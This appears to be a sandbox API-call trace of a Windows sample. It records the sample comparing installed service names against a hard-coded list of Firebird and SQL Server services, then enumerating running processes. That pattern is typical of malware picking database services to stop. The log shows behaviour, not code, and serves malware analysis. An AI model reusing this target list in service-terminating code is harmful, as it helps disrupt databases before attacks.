	[0141.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0141.111] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0141.111] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0141.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0141.111] lstrlenW (lpString="KeyIso") returned 6
	[0141.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0141.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0141.111] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0141.111] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0141.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0141.111] lstrlenW (lpString="LanmanServer") returned 12
	[0141.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0141.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0141.111] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0141.111] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0141.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0141.111] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0141.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0141.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0141.111] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0141.111] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0141.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0141.111] lstrlenW (lpString="lfsvc") returned 5
	[0141.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0141.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0141.111] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0141.111] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0141.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0141.111] lstrlenW (lpString="lmhosts") returned 7
	[0141.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0141.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0141.112] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0141.112] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0141.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0141.112] lstrlenW (lpString="LSM") returned 3
	[0141.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0141.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0141.112] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0141.112] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0141.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0141.112] lstrlenW (lpString="MpsSvc") returned 6
	[0141.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0141.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0141.112] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0141.112] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0141.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0141.112] lstrlenW (lpString="NcbService") returned 10
	[0141.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0141.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0141.112] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0141.112] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0141.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0141.112] lstrlenW (lpString="netprofm") returned 8
	[0141.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0141.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0141.112] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0141.112] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0141.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0141.113] lstrlenW (lpString="NgcSvc") returned 6
	[0141.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0141.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0141.113] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0141.113] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0141.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0141.113] lstrlenW (lpString="NlaSvc") returned 6
	[0141.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0141.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0141.113] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0141.113] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0141.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0141.113] lstrlenW (lpString="nsi") returned 3
	[0141.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0141.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0141.113] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0141.113] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0141.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0141.113] lstrlenW (lpString="PcaSvc") returned 6
	[0141.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0141.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0141.113] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0141.113] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0141.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0141.113] lstrlenW (lpString="PlugPlay") returned 8
	[0141.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0141.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0141.114] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0141.114] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0141.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0141.114] lstrlenW (lpString="Power") returned 5
	[0141.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0141.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0141.114] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0141.114] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0141.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0141.114] lstrlenW (lpString="ProfSvc") returned 7
	[0141.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0141.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0141.114] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0141.114] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0141.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0141.114] lstrlenW (lpString="RpcEptMapper") returned 12
	[0141.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0141.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0141.114] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0141.114] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0141.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0141.114] lstrlenW (lpString="RpcSs") returned 5
	[0141.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0141.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0141.114] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0141.114] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0141.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0141.115] lstrlenW (lpString="SamSs") returned 5
	[0141.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0141.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0141.115] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0141.115] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0141.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0141.115] lstrlenW (lpString="Schedule") returned 8
	[0141.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0141.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0141.115] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0141.115] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0141.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0141.115] lstrlenW (lpString="SecurityHealthService") returned 21
	[0141.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0141.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0141.115] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0141.115] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0141.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0141.115] lstrlenW (lpString="SENS") returned 4
	[0141.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0141.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0141.115] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0141.115] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0141.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0141.115] lstrlenW (lpString="ShellHWDetection") returned 16
	[0141.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0141.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0141.116] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0141.116] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0141.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0141.116] lstrlenW (lpString="Spooler") returned 7
	[0141.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0141.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0141.116] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0141.116] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0141.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0141.116] lstrlenW (lpString="StateRepository") returned 15
	[0141.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0141.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0141.116] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0141.116] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0141.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0141.116] lstrlenW (lpString="SysMain") returned 7
	[0141.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0141.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0141.116] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0141.116] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0141.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0141.116] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0141.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0141.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0141.117] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0141.117] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0141.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0141.117] lstrlenW (lpString="Themes") returned 6
	[0141.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0141.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0141.117] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0141.117] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0141.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0141.117] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0141.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0141.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0141.117] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0141.117] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0141.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0141.117] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0141.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0141.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0141.117] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0141.117] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0141.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4591700 | out: hHeap=0x4f0000) returned 1
	[0141.118] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x424
	[0141.125] Process32FirstW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0141.126] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0141.127] lstrlenW (lpString="System") returned 6
	[0141.127] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0141.128] lstrlenW (lpString="smss.exe") returned 8
	[0141.128] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0141.130] lstrlenW (lpString="csrss.exe") returned 9
	[0141.130] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0141.131] lstrlenW (lpString="wininit.exe") returned 11
	[0141.131] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0141.132] lstrlenW (lpString="csrss.exe") returned 9
	[0141.132] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0141.146] lstrlenW (lpString="winlogon.exe") returned 12
	[0141.146] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0141.147] lstrlenW (lpString="services.exe") returned 12
	[0141.147] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0141.148] lstrlenW (lpString="lsass.exe") returned 9
	[0141.148] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0141.149] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0141.149] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0141.150] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0141.150] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0141.151] lstrlenW (lpString="svchost.exe") returned 11
	[0141.151] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0141.152] lstrlenW (lpString="svchost.exe") returned 11
	[0141.152] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0141.153] lstrlenW (lpString="dwm.exe") returned 7
	[0141.153] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0141.154] lstrlenW (lpString="svchost.exe") returned 11
	[0141.154] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0141.154] lstrlenW (lpString="svchost.exe") returned 11
	[0141.155] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0141.155] lstrlenW (lpString="svchost.exe") returned 11
	[0141.155] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0141.156] lstrlenW (lpString="svchost.exe") returned 11
	[0141.156] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0141.157] lstrlenW (lpString="svchost.exe") returned 11
	[0141.157] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0141.158] lstrlenW (lpString="svchost.exe") returned 11
	[0141.158] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0141.159] lstrlenW (lpString="svchost.exe") returned 11
	[0141.159] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0141.160] lstrlenW (lpString="svchost.exe") returned 11
	[0141.160] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0141.164] lstrlenW (lpString="svchost.exe") returned 11
	[0141.164] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0141.166] lstrlenW (lpString="svchost.exe") returned 11
	[0141.166] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0141.167] lstrlenW (lpString="spoolsv.exe") returned 11
	[0141.168] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0141.175] lstrlenW (lpString="svchost.exe") returned 11
	[0141.176] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0141.511] lstrlenW (lpString="audiodg.exe") returned 11
	[0141.511] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0141.512] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0141.513] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0141.513] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0141.514] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0141.514] lstrlenW (lpString="sihost.exe") returned 10
	[0141.515] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0141.515] lstrlenW (lpString="Memory Compression") returned 18
